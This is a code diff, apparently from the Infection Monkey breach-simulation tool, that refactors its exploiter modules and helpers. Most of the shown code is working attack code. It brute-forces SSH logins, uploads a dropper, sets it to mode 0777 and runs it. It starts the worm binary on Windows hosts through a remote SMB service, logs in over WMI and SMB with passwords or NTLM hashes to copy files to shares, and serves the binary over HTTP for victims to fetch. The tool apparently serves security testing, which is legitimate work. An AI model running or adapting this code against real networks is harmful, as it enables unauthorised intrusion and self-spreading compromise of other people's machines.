build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
build_monkey_commandline(self.host, get_monkey_depth() - 1,
self._config.dropper_target_path_win_32)
else:
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1)
@ -126,15 +142,19 @@ class SmbExploiter(HostExploiter):
resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
lpBinaryPathName=cmdline)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(scmr_rpc, service)
status = ScanStatus.USED
except:
status = ScanStatus.SCANNED
pass
T1035Telem(status, UsageEnum.SMB).send()
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, self.host, cmdline)
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
return True

View File

@ -1,16 +1,20 @@
import StringIO
import logging
import time
import paramiko
import StringIO
import infection_monkey.monkeyfs as monkeyfs
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'hoffer'
@ -22,6 +26,7 @@ TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', None]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'SSH'
def __init__(self, host):
super(SSHExploiter, self).__init__(host)
@ -70,29 +75,30 @@ class SSHExploiter(HostExploiter):
exploited = False
for user, curpass in user_password_pairs:
for user, current_password in user_password_pairs:
try:
ssh.connect(self.host.ip_addr,
username=user,
password=curpass,
password=current_password,
port=port,
timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
self.host, user, curpass)
LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
self.host, user, self._config.hash_sensitive_data(current_password))
exploited = True
self.report_login_attempt(True, user, curpass)
self.add_vuln_port(port)
self.report_login_attempt(True, user, current_password)
break
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", self.host,
user, curpass, exc)
self.report_login_attempt(False, user, curpass)
" %s and password (SHA-512) '%s': (%s)", self.host,
user, self._config.hash_sensitive_data(current_password), exc)
self.report_login_attempt(False, user, current_password)
continue
return exploited
def exploit_host(self):
def _exploit_host(self):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
@ -107,7 +113,7 @@ class SSHExploiter(HostExploiter):
LOG.info("SSH port is closed on %r, skipping", self.host)
return False
#Check for possible ssh exploits
# Check for possible ssh exploits
exploited = self.exploit_with_ssh_keys(port, ssh)
if not exploited:
exploited = self.exploit_with_login_creds(port, ssh)
@ -160,10 +166,18 @@ class SSHExploiter(HostExploiter):
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
status = ScanStatus.USED
T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send()
ftp.close()
except Exception as exc:
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
status = ScanStatus.SCANNED
T1105Telem(status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
src_path).send()
if status == ScanStatus.SCANNED:
return False
try:
@ -176,6 +190,7 @@ class SSHExploiter(HostExploiter):
self._config.dropper_target_path_linux, self.host, cmdline)
ssh.close()
self.add_executed_cmd(cmdline)
return True
except Exception as exc:

View File

@ -21,6 +21,7 @@ DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Struts2'
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host, None)

View File

@ -1,536 +0,0 @@
import logging
import ntpath
import os
import os.path
import pprint
import socket
import struct
import sys
import urllib
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMBConnection, SMB_DIALECT
import infection_monkey.config
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port, get_routes
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from threading import Lock
class DceRpcException(Exception):
pass
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
(host, domain, username, password))
class WmiTools(object):
class WmiConnection(object):
def __init__(self):
self._dcom = None
self._iWbemServices = None
@property
def connected(self):
return self._dcom is not None
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
if not domain:
domain = host.ip_addr
dcom = DCOMConnection(host.ip_addr,
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
oxidResolver=True)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
except Exception as exc:
dcom.disconnect()
if "rpc_s_access_denied" == exc.message:
raise AccessDeniedException(host, username, password, domain)
raise
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
try:
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
self._dcom = dcom
except:
dcom.disconnect()
raise
finally:
iWbemLevel1Login.RemRelease()
def close(self):
assert self.connected, "WmiConnection isn't connected"
self._iWbemServices.RemRelease()
self._iWbemServices = None
self._dcom.disconnect()
self._dcom = None
@staticmethod
def dcom_wrap(func):
def _wrapper(*args, **kwarg):
try:
return func(*args, **kwarg)
finally:
WmiTools.dcom_cleanup()
return _wrapper
@staticmethod
def dcom_cleanup():
for port_map in DCOMConnection.PORTMAPS.keys():
del DCOMConnection.PORTMAPS[port_map]
for oid_set in DCOMConnection.OID_SET.keys():
del DCOMConnection.OID_SET[port_map]
DCOMConnection.OID_SET = {}
DCOMConnection.PORTMAPS = {}
if DCOMConnection.PINGTIMER:
DCOMConnection.PINGTIMER.cancel()
DCOMConnection.PINGTIMER.join()
DCOMConnection.PINGTIMER = None
@staticmethod
def get_object(wmi_connection, object_name):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
return wmi_connection._iWbemServices.GetObject(object_name)[0]
@staticmethod
def list_object(wmi_connection, object_name, fields=None, where=None):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
if fields:
fields_query = ",".join(fields)
else:
fields_query = "*"
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
if where:
wql_query += " WHERE %s" % (where,)
LOG.debug("Execution WQL query: %r", wql_query)
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
query = []
try:
while True:
try:
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
record = next_item.getProperties()
if not fields:
fields = record.keys()
query_record = {}
for key in fields:
query_record[key] = record[key]['value']
query.append(query_record)
except DCERPCSessionError as exc:
if 1 == exc.error_code:
break
raise
finally:
iEnumWbemClassObject.RemRelease()
return query
class SmbTools(object):
@staticmethod
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = infection_monkey.config.WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
# skip guest users
if smb.isGuestSession() > 0:
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
" LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
try:
smb.logoff()
except:
pass
return None
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc)
return None
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
LOG.debug("Connected to %r using %s:\n%s",
host, dialect, pprint.pformat(info))
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc)
return None
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
high_priority_shares = ()
low_priority_shares = ()
file_name = ntpath.split(dst_path)[-1]
for i in range(len(resp)):
share_name = resp[i]['shi2_netname'].strip("\0 ")
share_path = resp[i]['shi2_path'].strip("\0 ")
current_uses = resp[i]['shi2_current_uses']
max_uses = resp[i]['shi2_max_uses']
if current_uses >= max_uses:
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
share_name, host)
continue
elif not share_path:
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
share_name, host)
continue
share_info = {'share_name': share_name,
'share_path': share_path}
if dst_path.lower().startswith(share_path.lower()):
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
low_priority_shares += ((ntpath.sep + file_name, share_info),)
shares = high_priority_shares + low_priority_shares
file_uploaded = False
for remote_path, share in shares:
share_name = share['share_name']
share_path = share['share_path']
if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
try:
tid = smb.connectTree(share_name)
except Exception as exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc)
continue
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
share_name, share_path, remote_path, host)
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
# check if file is found on destination
if config.skip_exploit_if_file_exist:
try:
file_info = smb.listPath(share_name, remote_path)
if file_info:
if src_file_size == file_info[0].get_filesize():
LOG.debug("Remote monkey file is same as source, skipping copy")
return remote_full_path
LOG.debug("Remote monkey file is found but different, moving along with attack")
except:
pass # file isn't found on remote victim, moving on
try:
with monkeyfs.open(src_path, 'rb') as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)
file_uploaded = True
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
src_path, share_name, share_path, host)
break
except Exception as exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc)
continue
finally:
try:
smb.logoff()
except:
pass
smb = None
if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting"
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
return None
return remote_full_path
@staticmethod
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
dialect = {SMB_DIALECT: "SMBv1",
SMB2_DIALECT_002: "SMBv2.0",
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
# we know this should work because the WMI connection worked
try:
smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect
smb.setTimeout(timeout)
return smb, dialect
@staticmethod
def execute_rpc_call(smb, rpc_func, *args):
dce = SmbTools.get_dce_bind(smb)
rpc_method_wrapper = getattr(srvs, rpc_func, None)
if not rpc_method_wrapper:
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
return rpc_method_wrapper(dce, *args)
@staticmethod
def get_dce_bind(smb):
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
smb.getRemoteHost(),
filename=r'\srvsvc',
smb_connection=smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
return dce
class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=None):
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
return None, None
httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True
httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
:param local_ip: IP where to host server
:param local_port: Port at which to host monkey's download
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
"""
# To avoid race conditions we pass a locked lock to http servers thread
lock = Lock()
lock.acquire()
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.start()
lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
def get_interface_to_target(dst):
if sys.platform == "win32":
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((dst, 1))
ip_to_dst = s.getsockname()[0]
except KeyError:
ip_to_dst = '127.0.0.1'
finally:
s.close()
return ip_to_dst
else:
# based on scapy implementation
def atol(x):
ip = socket.inet_aton(x)
return struct.unpack("!I", ip)[0]
routes = get_routes()
dst = atol(dst)
paths = []
for d, m, gw, i, a in routes:
aa = atol(a)
if aa == dst:
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m):
paths.append((m, (i, a, gw)))
if not paths:
return None
paths.sort()
ret = paths[-1][1]
return ret[1]
def get_target_monkey(host):
from infection_monkey.control import ControlClient
import platform
import sys
if host.monkey_exe:
return host.monkey_exe
if not host.os.get('type'):
return None
monkey_path = ControlClient.download_monkey_exe(host)
if host.os.get('machine') and monkey_path:
host.monkey_exe = monkey_path
if not monkey_path:
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path
def get_target_monkey_by_os(is_windows, is_32bit):
from infection_monkey.control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
cmdline = ""
if parent is not None:
cmdline += " -p " + parent
if tunnel is not None:
cmdline += " -t " + tunnel
if server is not None:
cmdline += " -s " + server
if depth is not None:
if depth < 0:
depth = 0
cmdline += " -d %d" % depth
if location is not None:
cmdline += " -l %s" % location
return cmdline
def build_monkey_commandline(target_host, depth, location=None):
from infection_monkey.config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def get_monkey_depth():
from infection_monkey.config import WormConfiguration
return WormConfiguration.depth
def get_monkey_dest_path(url_to_monkey):
"""
Gets destination path from monkey's source url.
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
from infection_monkey.config import WormConfiguration
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if 'linux' in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
elif 'windows-32' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_32
elif 'windows-64' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except AttributeError:
LOG.error("Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey")
return False

View File

@ -0,0 +1,5 @@
class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable"""
pass

View File

@ -0,0 +1,142 @@
import logging
import socket
import struct
import sys
from infection_monkey.network.info import get_routes
LOG = logging.getLogger(__name__)
def get_interface_to_target(dst):
"""
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
"""
if sys.platform == "win32":
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((dst, 1))
ip_to_dst = s.getsockname()[0]
except KeyError:
LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.")
ip_to_dst = '127.0.0.1'
finally:
s.close()
return ip_to_dst
else:
# based on scapy implementation
def atol(x):
ip = socket.inet_aton(x)
return struct.unpack("!I", ip)[0]
routes = get_routes()
dst = atol(dst)
paths = []
for d, m, gw, i, a in routes:
aa = atol(a)
if aa == dst:
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m):
paths.append((m, (i, a, gw)))
if not paths:
return None
paths.sort()
ret = paths[-1][1]
return ret[1]
def try_get_target_monkey(host):
src_path = get_target_monkey(host)
if not src_path:
raise Exception("Can't find suitable monkey executable for host %r", host)
return src_path
def get_target_monkey(host):
from infection_monkey.control import ControlClient
import platform
import sys
if host.monkey_exe:
return host.monkey_exe
if not host.os.get('type'):
return None
monkey_path = ControlClient.download_monkey_exe(host)
if host.os.get('machine') and monkey_path:
host.monkey_exe = monkey_path
if not monkey_path:
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path
def get_target_monkey_by_os(is_windows, is_32bit):
from infection_monkey.control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
cmdline = ""
if parent is not None:
cmdline += " -p " + parent
if tunnel is not None:
cmdline += " -t " + tunnel
if server is not None:
cmdline += " -s " + server
if depth is not None:
if depth < 0:
depth = 0
cmdline += " -d %d" % depth
if location is not None:
cmdline += " -l %s" % location
return cmdline
def build_monkey_commandline(target_host, depth, location=None):
from infection_monkey.config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def get_monkey_depth():
from infection_monkey.config import WormConfiguration
return WormConfiguration.depth
def get_monkey_dest_path(url_to_monkey):
"""
Gets destination path from monkey's source url.
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
from infection_monkey.config import WormConfiguration
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if 'linux' in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
elif 'windows-32' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_32
elif 'windows-64' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except AttributeError:
LOG.error("Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey")
return False

View File

@ -0,0 +1,90 @@
import logging
import os
import os.path
import urllib
from threading import Lock
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
from infection_monkey.model import DOWNLOAD_TIMEOUT
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=None):
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
return None, None
httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True
httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@staticmethod
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port)
if not http_path:
raise Exception("Http transfer creation failed.")
LOG.info("Started http server on %s", http_path)
return http_path, http_thread
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
:param local_ip: IP where to host server
:param local_port: Port at which to host monkey's download
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
"""
# To avoid race conditions we pass a locked lock to http servers thread
lock = Lock()
lock.acquire()
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.start()
lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
class MonkeyHTTPServer(HTTPTools):
def __init__(self, host):
super(MonkeyHTTPServer, self).__init__()
self.http_path = None
self.http_thread = None
self.host = host
def start(self):
# Get monkey exe for host and it's path
src_path = try_get_target_monkey(self.host)
self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path)
def stop(self):
if not self.http_path or not self.http_thread:
raise RuntimeError("Can't stop http server that wasn't started!")
self.http_thread.join(DOWNLOAD_TIMEOUT)
self.http_thread.stop()

View File

@ -0,0 +1,63 @@
import logging
import textwrap
LOG = logging.getLogger(__name__)
class Payload(object):
"""
Class for defining and parsing a payload (commands with prefixes/suffixes)
"""
def __init__(self, command, prefix="", suffix=""):
self.command = command
self.prefix = prefix
self.suffix = suffix
def get_payload(self, command=""):
"""
Returns prefixed and suffixed command (payload)
:param command: Command to suffix/prefix. If no command is passed than objects' property is used
:return: prefixed and suffixed command (full payload)
"""
if not command:
command = self.command
return "{}{}{}".format(self.prefix, command, self.suffix)
class LimitedSizePayload(Payload):
"""
Class for defining and parsing commands/payloads
"""
def __init__(self, command, max_length, prefix="", suffix=""):
"""
:param command: command
:param max_length: max length that payload(prefix + command + suffix) can have
:param prefix: commands prefix
:param suffix: commands suffix
"""
super(LimitedSizePayload, self).__init__(command, prefix, suffix)
self.max_length = max_length
def is_suffix_and_prefix_too_long(self):
return self.payload_is_too_long(self.suffix + self.prefix)
def split_into_array_of_smaller_payloads(self):
if self.is_suffix_and_prefix_too_long():
raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already "
"exceeds required length of command.")
elif self.command == "":
return [self.prefix+self.suffix]
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
commands = [self.get_payload(part)
for part
in wrapper.wrap(self.command)]
return commands
def get_max_sub_payload_length(self):
return self.max_length - len(self.prefix) - len(self.suffix)
def payload_is_too_long(self, command):
return len(command) >= self.max_length

View File

@ -0,0 +1,32 @@
from unittest import TestCase
from payload_parsing import Payload, LimitedSizePayload
class TestPayload(TestCase):
def test_get_payload(self):
test_str1 = "abc"
test_str2 = "atc"
payload = Payload(command="b", prefix="a", suffix="c")
assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2
def test_is_suffix_and_prefix_too_long(self):
pld_fail = LimitedSizePayload("b", 2, "a", "c")
pld_success = LimitedSizePayload("b", 3, "a", "c")
assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long()
def test_split_into_array_of_smaller_payloads(self):
test_str1 = "123456789"
pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
array1 = pld1.split_into_array_of_smaller_payloads()
test1 = bool(array1[0] == "prefix1234suffix" and
array1[1] == "prefix5678suffix" and
array1[2] == "prefix9suffix")
test_str2 = "12345678"
pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
array2 = pld2.split_into_array_of_smaller_payloads()
test2 = bool(array2[0] == "prefix1234suffix" and
array2[1] == "prefix5678suffix" and len(array2) == 2)
assert test1 and test2

View File

@ -0,0 +1,238 @@
import logging
import ntpath
import pprint
from impacket.dcerpc.v5 import transport, srvs
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMBConnection, SMB_DIALECT
import infection_monkey.config
import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.config import Configuration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class SmbTools(object):
@staticmethod
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = infection_monkey.config.WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
# skip guest users
if smb.isGuestSession() > 0:
LOG.debug("Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s',"
" LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
host,
username,
Configuration.hash_sensitive_data(password),
Configuration.hash_sensitive_data(lm_hash),
Configuration.hash_sensitive_data(ntlm_hash))
try:
smb.logoff()
except:
pass
return None
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc)
return None
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
LOG.debug("Connected to %r using %s:\n%s",
host, dialect, pprint.pformat(info))
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc)
return None
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
high_priority_shares = ()
low_priority_shares = ()
file_name = ntpath.split(dst_path)[-1]
for i in range(len(resp)):
share_name = resp[i]['shi2_netname'].strip("\0 ")
share_path = resp[i]['shi2_path'].strip("\0 ")
current_uses = resp[i]['shi2_current_uses']
max_uses = resp[i]['shi2_max_uses']
if current_uses >= max_uses:
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
share_name, host)
continue
elif not share_path:
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
share_name, host)
continue
share_info = {'share_name': share_name,
'share_path': share_path}
if dst_path.lower().startswith(share_path.lower()):
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
low_priority_shares += ((ntpath.sep + file_name, share_info),)
shares = high_priority_shares + low_priority_shares
file_uploaded = False
for remote_path, share in shares:
share_name = share['share_name']
share_path = share['share_path']
if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
try:
tid = smb.connectTree(share_name)
except Exception as exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc)
continue
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
share_name, share_path, remote_path, host.ip_addr[0], )
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
# check if file is found on destination
if config.skip_exploit_if_file_exist:
try:
file_info = smb.listPath(share_name, remote_path)
if file_info:
if src_file_size == file_info[0].get_filesize():
LOG.debug("Remote monkey file is same as source, skipping copy")
return remote_full_path
LOG.debug("Remote monkey file is found but different, moving along with attack")
except:
pass # file isn't found on remote victim, moving on
try:
with monkeyfs.open(src_path, 'rb') as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)
